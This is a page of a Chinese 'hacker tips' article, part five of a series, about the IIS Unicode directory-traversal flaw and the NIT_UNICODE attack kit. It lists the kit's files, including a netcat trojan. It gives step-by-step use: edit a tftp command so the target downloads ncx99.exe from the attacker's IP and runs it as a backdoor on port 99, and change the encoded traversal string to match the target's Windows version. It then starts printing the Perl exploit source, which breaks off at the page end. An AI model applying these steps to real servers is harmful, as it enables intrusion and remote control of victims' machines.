黑客技巧--深入UNICODE编码漏洞(五) ·
badboy·
1 2 3 下一页 五、网络里可得到的一些UNICODE扫描程序的分析(续)
3、攻击型NIT_UNICODE软件套装
下载地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip
压缩包里含有以下文件: uni.pl -------扫描UNICODE编码漏洞的主PERL程序 uniexe.pl -----执行TFTP过程的PERL程序 ncx99.exe -----一个把telnet端口设置在99的netcat木马 tftpd32.exe -----TFTP设置软件 tftpd32.hlp -----帮助文件 flie_id.diz vendinfo.diz readme.file -----使用说明和例子
该程序包主要利用unicode编码漏洞,把ncx99.exe上传到目标主机,并启动,使攻击者可以通过telnet 目标主机的99端口,登陆到目标主机上进行攻击行为。
以下程序在使用时需要修改一些东西,找到$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 这句,把xxx.xxx.xxx.xxx.xxx修改为你的IP地址,然后存盘。这句主要是把NCX99.EXE从你的主机改名传到目标主机c:\inetpub\scripts\去。另外还需要根据目标主机的NT版本,对程序里的..%c0%af..做相应的修改,比如说目标主机是WIN2K就修改为..%c1%1c..
#!/usr/bin/perl # This is for educational purpose‘s only! # WHO LET THEM DOGS OUT! # Use uni.pl first to see if this is a vulnerable server! # Based of the script unicodeexecute.pl from Roelof Temmngh # Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";} ($host,$port)=split(/:/,@ARGV[0]); $target = inet_aton($host);
1 2 3 下一页 |